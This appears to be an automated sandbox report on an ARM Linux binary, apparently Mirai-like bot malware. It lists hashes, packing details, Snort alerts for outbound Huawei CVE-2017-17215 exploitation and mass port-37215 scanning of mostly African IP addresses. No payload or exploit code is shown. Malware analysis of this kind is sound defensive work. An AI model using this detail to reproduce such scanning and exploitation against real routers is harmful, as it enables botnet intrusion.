197.184.139.222	unknown	South Africa	37105	NEOLOGY-ASZA	false
102.71.74.71	unknown	Malawi	37294	TNMMW	false
154.160.107.246	unknown	Ghana	30986	SCANCOMGH	false
197.10.162.34	unknown	Tunisia	5438	ATI-TN	false
156.21.96.232	unknown	United States	29975	VODACOM-ZA	false
197.159.104.99	unknown	Kenya	37421	CellulantKE	false
197.129.147.248	unknown	Morocco	6713	IAM-ASMA	false
156.31.73.48	unknown	Brunei Darussalam	34542	SAFRANHE-ASFR	false
41.233.34.193	unknown	Egypt	8452	TE-ASTE-ASEG	false
154.181.109.188	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.93.179.205	unknown	United States	10695	WAL-MARTUS	false
154.169.82.115	unknown	Ghana	30986	SCANCOMGH	false
102.117.64.194	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.55.15.84	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
41.45.188.9	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.217.104.36	unknown	Nigeria	37340	SpectranetNG	false
154.134.179.151	unknown	Egypt	37069	MOBINILEG	false
41.82.8.140	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
102.134.128.199	unknown	South Africa	328370	BlueLabel-ASZA	false
154.34.112.125	unknown	Japan	4694	IDCFIDCFrontierIncJP	false
197.86.191.144	unknown	South Africa	10474	OPTINETZA	false
102.168.253.92	unknown	Tunisia	37693	TUNISIANATN	false
197.96.225.180	unknown	South Africa	3741	ISZA	false
154.54.76.14	unknown	United States	174	COGENT-174US	false
197.254.70.209	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
41.136.36.196	unknown	Mauritius	23889	MauritiusTelecomMU	false

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
Entropy (8bit):	7.942727344674702
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	bok.arm4.elf
File size:	29020
MD5:	ff8876ad3d74f54de1080fe2ac2a2fcd
SHA1:	151f19870f309dd13b6b2749c08a1f4f087f6176
SHA256:	4463dcb9a23e3cead700d2d8259d23ae0af161338195c246ff57d88983c2a12f
SHA512:	4d78737525794c724d1e50947d9c88e68708ab9d488356545bee9afa8a520dbf7e4bac4b56be52055a0c4534df7a890b435ff781505d308c1637145590d9159e
SSDEEP:	768:LgOG2wQY6KZq1kSz6d/lUYpOXmig3renrrjeWs3qV9PKs3UozDo:LgvwXDkSG9nOWigbOfjCO/zDo
TLSH:	79D2E0F59B9FD550E3200D39782C52D172364BF6D5BB23C36298F630B3CA44A11B651E
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................op..op..........................................Q.td............................s.y.UPX!........\|...\|.......S..........?.E.h;.}...^..........fT.`..%.",.....n7..Io....b.......w.c).w$Cb.W..

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8000	0x8000	0x706f	0x706f	7.9460	0x5	R E	0x8000
LOAD	0x1ee4	0x21ee4	0x21ee4	0x0	0x0	0.0000	0x6	RW	0x8000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23154.19.234.24834348372152835222 03/12/23-05:17:57.544799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34348	37215	192.168.2.23	154.19.234.248
192.168.2.2341.207.118.6736896372152835222 03/12/23-05:18:37.130552	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36896	37215	192.168.2.23	41.207.118.67
192.168.2.23156.227.247.1334218372152835222 03/12/23-05:17:50.250143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34218	37215	192.168.2.23	156.227.247.13
192.168.2.23154.38.248.16839184372152835222 03/12/23-05:18:32.237081	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39184	37215	192.168.2.23	154.38.248.168
192.168.2.23154.216.16.12449296372152835222 03/12/23-05:18:20.924509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49296	37215	192.168.2.23	154.216.16.124
192.168.2.23154.213.169.436896372152835222 03/12/23-05:18:44.909112	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36896	37215	192.168.2.23	154.213.169.4
192.168.2.23154.213.173.16047660372152835222 03/12/23-05:18:44.622777	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47660	37215	192.168.2.23	154.213.173.160
192.168.2.23156.234.225.22637032372152835222 03/12/23-05:17:29.066566	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37032	37215	192.168.2.23	156.234.225.226
192.168.2.23102.40.126.19058884372152835222 03/12/23-05:18:05.376218	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58884	37215	192.168.2.23	102.40.126.190
192.168.2.23156.230.16.23438748372152835222 03/12/23-05:18:30.058003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38748	37215	192.168.2.23	156.230.16.234
192.168.2.23154.209.31.6343486372152835222 03/12/23-05:17:45.055690	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43486	37215	192.168.2.23	154.209.31.63
192.168.2.23154.204.17.8238056372152835222 03/12/23-05:18:36.979130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38056	37215	192.168.2.23	154.204.17.82
192.168.2.23154.211.43.11533822372152835222 03/12/23-05:18:36.710288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33822	37215	192.168.2.23	154.211.43.115
192.168.2.23154.213.169.21351952372152835222 03/12/23-05:18:40.580988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51952	37215	192.168.2.23	154.213.169.213
192.168.2.23156.254.95.21040830372152835222 03/12/23-05:18:44.343254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40830	37215	192.168.2.23	156.254.95.210
192.168.2.23154.209.26.2546366372152835222 03/12/23-05:18:10.783427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46366	37215	192.168.2.23	154.209.26.25
192.168.2.23156.226.14.11445010372152835222 03/12/23-05:18:20.661510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45010	37215	192.168.2.23	156.226.14.114
192.168.2.23154.31.146.1337040372152835222 03/12/23-05:17:49.802953	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37040	37215	192.168.2.23	154.31.146.13
192.168.2.23154.211.19.7350986372152835222 03/12/23-05:18:24.485789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50986	37215	192.168.2.23	154.211.19.73
192.168.2.23154.211.19.10143806372152835222 03/12/23-05:18:14.073818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43806	37215	192.168.2.23	154.211.19.101
192.168.2.23102.41.23.8533974372152835222 03/12/23-05:17:14.142346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33974	37215	192.168.2.23	102.41.23.85
192.168.2.23154.211.34.17855604372152835222 03/12/23-05:17:31.611571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55604	37215	192.168.2.23	154.211.34.178
192.168.2.23154.180.50.18835924372152835222 03/12/23-05:18:42.971077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35924	37215	192.168.2.23	154.180.50.188
192.168.2.23156.226.15.11751314372152835222 03/12/23-05:17:42.504437	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51314	37215	192.168.2.23	156.226.15.117
192.168.2.23154.213.170.5334086372152835222 03/12/23-05:17:57.826173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34086	37215	192.168.2.23	154.213.170.53
192.168.2.23156.254.80.21852140372152835222 03/12/23-05:17:52.806535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52140	37215	192.168.2.23	156.254.80.218
192.168.2.23154.213.160.19445592372152835222 03/12/23-05:17:45.594474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45592	37215	192.168.2.23	154.213.160.194
192.168.2.23156.254.41.16636386372152835222 03/12/23-05:17:57.371110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36386	37215	192.168.2.23	156.254.41.166
192.168.2.2341.0.88.10937906372152835222 03/12/23-05:17:26.528007	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37906	37215	192.168.2.23	41.0.88.109

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 12, 2023 05:17:03.978163004 CET	21783	37215	192.168.2.23	102.18.181.0
Mar 12, 2023 05:17:03.978226900 CET	21783	37215	192.168.2.23	197.29.186.0
Mar 12, 2023 05:17:03.978260040 CET	21783	37215	192.168.2.23	156.5.132.15
Mar 12, 2023 05:17:03.978266954 CET	21783	37215	192.168.2.23	41.22.185.208
Mar 12, 2023 05:17:03.978290081 CET	21783	37215	192.168.2.23	102.121.22.246
Mar 12, 2023 05:17:03.978317022 CET	21783	37215	192.168.2.23	156.234.43.45
Mar 12, 2023 05:17:03.978349924 CET	21783	37215	192.168.2.23	41.148.135.182
Mar 12, 2023 05:17:03.978364944 CET	21783	37215	192.168.2.23	197.87.188.175
Mar 12, 2023 05:17:03.978364944 CET	21783	37215	192.168.2.23	154.89.133.130
Mar 12, 2023 05:17:03.978364944 CET	21783	37215	192.168.2.23	197.224.161.183
Mar 12, 2023 05:17:03.978369951 CET	21783	37215	192.168.2.23	41.237.161.83
Mar 12, 2023 05:17:03.978375912 CET	21783	37215	192.168.2.23	41.38.141.175
Mar 12, 2023 05:17:03.978455067 CET	21783	37215	192.168.2.23	102.204.45.138
Mar 12, 2023 05:17:03.978461981 CET	21783	37215	192.168.2.23	197.192.83.212
Mar 12, 2023 05:17:03.978462934 CET	21783	37215	192.168.2.23	41.147.64.117
Mar 12, 2023 05:17:03.978466034 CET	21783	37215	192.168.2.23	156.63.161.253
Mar 12, 2023 05:17:03.978466034 CET	21783	37215	192.168.2.23	154.40.174.132
Mar 12, 2023 05:17:03.978466034 CET	21783	37215	192.168.2.23	197.251.50.77
Mar 12, 2023 05:17:03.978466988 CET	21783	37215	192.168.2.23	156.31.143.202
Mar 12, 2023 05:17:03.978487968 CET	21783	37215	192.168.2.23	197.150.140.112
Mar 12, 2023 05:17:03.978514910 CET	21783	37215	192.168.2.23	41.47.43.83
Mar 12, 2023 05:17:03.978518009 CET	21783	37215	192.168.2.23	41.169.126.22
Mar 12, 2023 05:17:03.978553057 CET	21783	37215	192.168.2.23	156.159.102.95
Mar 12, 2023 05:17:03.978553057 CET	21783	37215	192.168.2.23	41.13.131.139
Mar 12, 2023 05:17:03.978574991 CET	21783	37215	192.168.2.23	102.16.199.94
Mar 12, 2023 05:17:03.978593111 CET	21783	37215	192.168.2.23	41.203.136.27
Mar 12, 2023 05:17:03.978593111 CET	21783	37215	192.168.2.23	156.206.135.202
Mar 12, 2023 05:17:03.978602886 CET	21783	37215	192.168.2.23	154.182.177.241
Mar 12, 2023 05:17:03.978602886 CET	21783	37215	192.168.2.23	197.190.50.221
Mar 12, 2023 05:17:03.978602886 CET	21783	37215	192.168.2.23	102.13.201.67
Mar 12, 2023 05:17:03.978602886 CET	21783	37215	192.168.2.23	154.250.145.7
Mar 12, 2023 05:17:03.978630066 CET	21783	37215	192.168.2.23	41.127.70.143
Mar 12, 2023 05:17:03.978756905 CET	21783	37215	192.168.2.23	41.189.37.82
Mar 12, 2023 05:17:03.978775024 CET	21783	37215	192.168.2.23	102.125.225.250
Mar 12, 2023 05:17:03.978823900 CET	21783	37215	192.168.2.23	154.31.155.0
Mar 12, 2023 05:17:03.979110956 CET	21783	37215	192.168.2.23	41.66.100.28
Mar 12, 2023 05:17:03.979130030 CET	21783	37215	192.168.2.23	197.232.146.40
Mar 12, 2023 05:17:03.979135990 CET	21783	37215	192.168.2.23	102.78.136.224
Mar 12, 2023 05:17:03.979151011 CET	21783	37215	192.168.2.23	197.45.178.42
Mar 12, 2023 05:17:03.979166031 CET	21783	37215	192.168.2.23	41.49.243.81
Mar 12, 2023 05:17:03.979166031 CET	21783	37215	192.168.2.23	154.115.100.34
Mar 12, 2023 05:17:03.979193926 CET	21783	37215	192.168.2.23	102.193.230.238
Mar 12, 2023 05:17:03.979234934 CET	21783	37215	192.168.2.23	197.50.19.114
Mar 12, 2023 05:17:03.979248047 CET	21783	37215	192.168.2.23	154.113.243.58
Mar 12, 2023 05:17:03.979270935 CET	21783	37215	192.168.2.23	102.174.29.50
Mar 12, 2023 05:17:03.979271889 CET	21783	37215	192.168.2.23	41.249.137.13
Mar 12, 2023 05:17:03.979271889 CET	21783	37215	192.168.2.23	154.140.149.181
Mar 12, 2023 05:17:03.979295969 CET	21783	37215	192.168.2.23	154.244.219.94
Mar 12, 2023 05:17:03.979295969 CET	21783	37215	192.168.2.23	156.0.71.252
Mar 12, 2023 05:17:03.979320049 CET	21783	37215	192.168.2.23	197.128.238.27
Mar 12, 2023 05:17:03.979322910 CET	21783	37215	192.168.2.23	156.223.230.128
Mar 12, 2023 05:17:03.979381084 CET	21783	37215	192.168.2.23	197.189.211.107
Mar 12, 2023 05:17:03.979403973 CET	21783	37215	192.168.2.23	197.92.252.70
Mar 12, 2023 05:17:03.979403973 CET	21783	37215	192.168.2.23	156.14.201.18
Mar 12, 2023 05:17:03.979418993 CET	21783	37215	192.168.2.23	197.74.104.187
Mar 12, 2023 05:17:03.979424953 CET	21783	37215	192.168.2.23	102.150.238.95
Mar 12, 2023 05:17:03.979424953 CET	21783	37215	192.168.2.23	41.133.155.124
Mar 12, 2023 05:17:03.979434013 CET	21783	37215	192.168.2.23	156.22.156.159
Mar 12, 2023 05:17:03.979446888 CET	21783	37215	192.168.2.23	197.22.21.202
Mar 12, 2023 05:17:03.979454994 CET	21783	37215	192.168.2.23	154.98.181.97
Mar 12, 2023 05:17:03.979454994 CET	21783	37215	192.168.2.23	197.99.181.7
Mar 12, 2023 05:17:03.979461908 CET	21783	37215	192.168.2.23	156.164.2.254
Mar 12, 2023 05:17:03.979480028 CET	21783	37215	192.168.2.23	102.83.79.203
Mar 12, 2023 05:17:03.979480028 CET	21783	37215	192.168.2.23	156.237.116.31
Mar 12, 2023 05:17:03.979480982 CET	21783	37215	192.168.2.23	41.147.200.45
Mar 12, 2023 05:17:03.979491949 CET	21783	37215	192.168.2.23	154.65.144.114
Mar 12, 2023 05:17:03.979497910 CET	21783	37215	192.168.2.23	197.175.241.14
Mar 12, 2023 05:17:03.979497910 CET	21783	37215	192.168.2.23	102.88.64.194
Mar 12, 2023 05:17:03.979501963 CET	21783	37215	192.168.2.23	154.58.112.220
Mar 12, 2023 05:17:03.979556084 CET	21783	37215	192.168.2.23	41.220.166.250
Mar 12, 2023 05:17:03.979568958 CET	21783	37215	192.168.2.23	156.192.50.115
Mar 12, 2023 05:17:03.979571104 CET	21783	37215	192.168.2.23	154.97.213.184
Mar 12, 2023 05:17:03.979571104 CET	21783	37215	192.168.2.23	156.213.208.241
Mar 12, 2023 05:17:03.979571104 CET	21783	37215	192.168.2.23	41.213.114.0
Mar 12, 2023 05:17:03.979578972 CET	21783	37215	192.168.2.23	41.237.112.100
Mar 12, 2023 05:17:03.979585886 CET	21783	37215	192.168.2.23	156.50.116.178
Mar 12, 2023 05:17:03.979607105 CET	21783	37215	192.168.2.23	154.91.227.210
Mar 12, 2023 05:17:03.979609013 CET	21783	37215	192.168.2.23	41.123.174.144
Mar 12, 2023 05:17:03.979626894 CET	21783	37215	192.168.2.23	156.51.248.119
Mar 12, 2023 05:17:03.979643106 CET	21783	37215	192.168.2.23	154.14.246.114
Mar 12, 2023 05:17:03.979643106 CET	21783	37215	192.168.2.23	102.142.65.244
Mar 12, 2023 05:17:03.979655027 CET	21783	37215	192.168.2.23	197.200.192.240
Mar 12, 2023 05:17:03.979669094 CET	21783	37215	192.168.2.23	102.126.118.33
Mar 12, 2023 05:17:03.979732037 CET	21783	37215	192.168.2.23	154.146.76.149
Mar 12, 2023 05:17:03.979732990 CET	21783	37215	192.168.2.23	156.207.13.32
Mar 12, 2023 05:17:03.979736090 CET	21783	37215	192.168.2.23	102.44.164.207
Mar 12, 2023 05:17:03.979736090 CET	21783	37215	192.168.2.23	154.236.89.86
Mar 12, 2023 05:17:03.979763985 CET	21783	37215	192.168.2.23	102.19.186.170
Mar 12, 2023 05:17:03.979763985 CET	21783	37215	192.168.2.23	197.66.171.95
Mar 12, 2023 05:17:03.979763985 CET	21783	37215	192.168.2.23	102.200.136.220
Mar 12, 2023 05:17:03.979763985 CET	21783	37215	192.168.2.23	154.31.7.222
Mar 12, 2023 05:17:03.979772091 CET	21783	37215	192.168.2.23	154.231.124.102
Mar 12, 2023 05:17:03.979773998 CET	21783	37215	192.168.2.23	154.115.245.253
Mar 12, 2023 05:17:03.979773998 CET	21783	37215	192.168.2.23	197.171.240.103
Mar 12, 2023 05:17:03.979773998 CET	21783	37215	192.168.2.23	102.73.28.198
Mar 12, 2023 05:17:03.979775906 CET	21783	37215	192.168.2.23	41.208.88.228
Mar 12, 2023 05:17:03.979773998 CET	21783	37215	192.168.2.23	197.77.110.74
Mar 12, 2023 05:17:03.979775906 CET	21783	37215	192.168.2.23	41.252.86.163
Mar 12, 2023 05:17:03.979789972 CET	21783	37215	192.168.2.23	197.153.23.118
Mar 12, 2023 05:17:03.979804993 CET	21783	37215	192.168.2.23	156.193.79.89

System Behavior

Analysis Process: bok.arm4.elf PID: 6225, Parent PID: 6124

General

Start time:	05:17:02
Start date:	12/03/2023
Path:	/tmp/bok.arm4.elf
Arguments:	/tmp/bok.arm4.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: bok.arm4.elf PID: 6227, Parent PID: 6225

General

Start time:	05:17:03
Start date:	12/03/2023
Path:	/tmp/bok.arm4.elf
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: bok.arm4.elf PID: 6231, Parent PID: 6225

General

Start time:	05:17:03
Start date:	12/03/2023
Path:	/tmp/bok.arm4.elf
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: bok.arm4.elf PID: 6233, Parent PID: 6231

General

Start time:	05:17:03
Start date:	12/03/2023
Path:	/tmp/bok.arm4.elf
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: bok.arm4.elf	Virustotal: Detection: 24%			Perma Link
Source: bok.arm4.elf	ReversingLabs: Detection: 23%

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33974 -> 102.41.23.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37906 -> 41.0.88.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37032 -> 156.234.225.226:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55604 -> 154.211.34.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51314 -> 156.226.15.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43486 -> 154.209.31.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45592 -> 154.213.160.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37040 -> 154.31.146.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34218 -> 156.227.247.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52140 -> 156.254.80.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36386 -> 156.254.41.166:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34348 -> 154.19.234.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34086 -> 154.213.170.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58884 -> 102.40.126.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46366 -> 154.209.26.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43806 -> 154.211.19.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45010 -> 156.226.14.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49296 -> 154.216.16.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50986 -> 154.211.19.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38748 -> 156.230.16.234:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39184 -> 154.38.248.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33822 -> 154.211.43.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38056 -> 154.204.17.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36896 -> 41.207.118.67:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51952 -> 154.213.169.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35924 -> 154.180.50.188:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40830 -> 156.254.95.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47660 -> 154.213.173.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36896 -> 154.213.169.4:37215

Source: global traffic	TCP traffic: 154.38.229.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.253.36.15 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: bok.arm4.elf, 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bok.arm4.elf, 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: bok.arm4.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	TCP traffic detected without corresponding DNS query: 102.18.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.29.186.0
Source: unknown	TCP traffic detected without corresponding DNS query: 156.5.132.15
Source: unknown	TCP traffic detected without corresponding DNS query: 41.22.185.208
Source: unknown	TCP traffic detected without corresponding DNS query: 102.121.22.246
Source: unknown	TCP traffic detected without corresponding DNS query: 156.234.43.45
Source: unknown	TCP traffic detected without corresponding DNS query: 41.148.135.182
Source: unknown	TCP traffic detected without corresponding DNS query: 197.87.188.175
Source: unknown	TCP traffic detected without corresponding DNS query: 154.89.133.130
Source: unknown	TCP traffic detected without corresponding DNS query: 197.224.161.183
Source: unknown	TCP traffic detected without corresponding DNS query: 41.237.161.83
Source: unknown	TCP traffic detected without corresponding DNS query: 41.38.141.175
Source: unknown	TCP traffic detected without corresponding DNS query: 102.204.45.138
Source: unknown	TCP traffic detected without corresponding DNS query: 197.192.83.212
Source: unknown	TCP traffic detected without corresponding DNS query: 41.147.64.117
Source: unknown	TCP traffic detected without corresponding DNS query: 156.63.161.253
Source: unknown	TCP traffic detected without corresponding DNS query: 154.40.174.132
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.50.77
Source: unknown	TCP traffic detected without corresponding DNS query: 156.31.143.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.140.112
Source: unknown	TCP traffic detected without corresponding DNS query: 41.47.43.83
Source: unknown	TCP traffic detected without corresponding DNS query: 41.169.126.22
Source: unknown	TCP traffic detected without corresponding DNS query: 156.159.102.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.13.131.139
Source: unknown	TCP traffic detected without corresponding DNS query: 102.16.199.94
Source: unknown	TCP traffic detected without corresponding DNS query: 41.203.136.27
Source: unknown	TCP traffic detected without corresponding DNS query: 156.206.135.202
Source: unknown	TCP traffic detected without corresponding DNS query: 154.182.177.241
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.50.221
Source: unknown	TCP traffic detected without corresponding DNS query: 102.13.201.67
Source: unknown	TCP traffic detected without corresponding DNS query: 154.250.145.7
Source: unknown	TCP traffic detected without corresponding DNS query: 41.127.70.143
Source: unknown	TCP traffic detected without corresponding DNS query: 41.189.37.82
Source: unknown	TCP traffic detected without corresponding DNS query: 102.125.225.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.31.155.0
Source: unknown	TCP traffic detected without corresponding DNS query: 41.66.100.28
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.146.40
Source: unknown	TCP traffic detected without corresponding DNS query: 102.78.136.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.45.178.42
Source: unknown	TCP traffic detected without corresponding DNS query: 41.49.243.81
Source: unknown	TCP traffic detected without corresponding DNS query: 154.115.100.34
Source: unknown	TCP traffic detected without corresponding DNS query: 102.193.230.238
Source: unknown	TCP traffic detected without corresponding DNS query: 197.50.19.114
Source: unknown	TCP traffic detected without corresponding DNS query: 154.113.243.58
Source: unknown	TCP traffic detected without corresponding DNS query: 102.174.29.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.249.137.13
Source: unknown	TCP traffic detected without corresponding DNS query: 154.140.149.181
Source: unknown	TCP traffic detected without corresponding DNS query: 154.244.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 156.0.71.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.128.238.27

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
